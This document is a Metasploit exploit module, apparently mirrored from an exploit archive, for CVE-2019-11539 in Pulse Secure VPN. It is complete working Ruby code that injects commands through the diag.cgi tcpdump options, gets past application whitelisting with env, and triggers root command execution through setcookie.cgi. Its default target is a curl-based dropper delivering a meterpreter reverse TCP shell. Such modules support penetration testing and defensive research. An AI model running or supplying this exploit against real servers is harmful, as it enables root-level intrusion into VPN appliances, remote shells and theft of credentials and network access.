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## https://sploitus.com/exploit?id=PACKETSTORM:155277
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Pulse Secure VPN Arbitrary Command Execution',  
'Description' => %q{  
This module exploits a post-auth command injection in the Pulse Secure  
VPN server to execute commands as root. The env(1) command is used to  
bypass application whitelisting and run arbitrary commands.  
  
Please see related module auxiliary/gather/pulse_secure_file_disclosure  
for a pre-auth file read that is able to obtain plaintext and hashed  
credentials, plus session IDs that may be used with this exploit.  
  
A valid administrator session ID is required in lieu of untested SSRF.  
},  
'Author' => [  
'Orange Tsai', # Discovery (@orange_8361)  
'Meh Chang', # Discovery (@mehqq_)  
'wvu' # Module  
],  
'References' => [  
['CVE', '2019-11539'],  
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],  
['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],  
['URL', 'https://hackerone.com/reports/591295']  
],  
'DisclosureDate' => '2019-04-24', # Public disclosure  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
['Unix In-Memory',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'Payload' => {  
'BadChars' => %Q(&*(){}[]`;|?\n~<>"'),  
'Encoder' => 'generic/none' # Force manual badchar analysis  
},  
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}  
],  
['Linux Dropper',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'CMDSTAGER::SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],  
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']  
}  
))  
  
register_options([  
OptString.new('SID', [true, 'Valid admin session ID'])  
])  
end  
  
def post_auth?  
true  
end  
  
def exploit  
get_csrf_token  
  
print_status("Executing #{target.name} target")  
  
case target['Type']  
when :unix_memory  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(  
flavor: :curl,  
noconcat: true  
)  
end  
end  
  
def get_csrf_token  
@cookie = "DSID=#{datastore['SID']}"  
print_good("Setting session cookie: #{@cookie}")  
  
print_status('Obtaining CSRF token')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => diag_cgi,  
'cookie' => @cookie  
)  
  
unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body))  
fail_with(Failure::NoAccess, 'Session cookie expired or invalid')  
end  
  
print_good("CSRF token: #{@csrf_token}")  
end  
  
def parse_csrf_token(body)  
body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first  
end  
  
def execute_command(cmd, _opts = {})  
# Prepend absolute path to curl(1), since it's not in $PATH  
cmd.prepend('/home/bin/') if cmd.start_with?('curl')  
  
# Bypass application whitelisting with permitted env(1)  
cmd.prepend('env ')  
  
vprint_status("Executing command: #{cmd}")  
print_status("Yeeting exploit at #{full_uri(diag_cgi)}")  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => diag_cgi,  
'cookie' => @cookie,  
'vars_get' => {  
'a' => 'td', # tcpdump  
'options' => sploit(cmd),  
'xsauth' => @csrf_token,  
'toggle' => 'Start Sniffing'  
}  
)  
  
unless res && res.code == 200  
fail_with(Failure::UnexpectedReply, 'Could not yeet exploit')  
end  
  
print_status("Triggering payload at #{full_uri(setcookie_cgi)}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => setcookie_cgi  
}, 3.1337)  
  
# 200 response code, yet 500 error in body  
unless res && res.code == 200 && !res.body.include?('500 Internal Error')  
print_warning('Payload execution may have failed')  
return  
end  
  
print_good('Payload execution successful')  
  
if datastore['PAYLOAD'] == 'cmd/unix/generic'  
print_line(res.body.sub(/\s*<html>.*/m, ''))  
end  
end  
  
def sploit(cmd)  
%(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <)  
end  
  
def diag_cgi  
'/dana-admin/diag/diag.cgi'  
end  
  
def setcookie_cgi  
'/dana-na/auth/setcookie.cgi'  
end  
  
end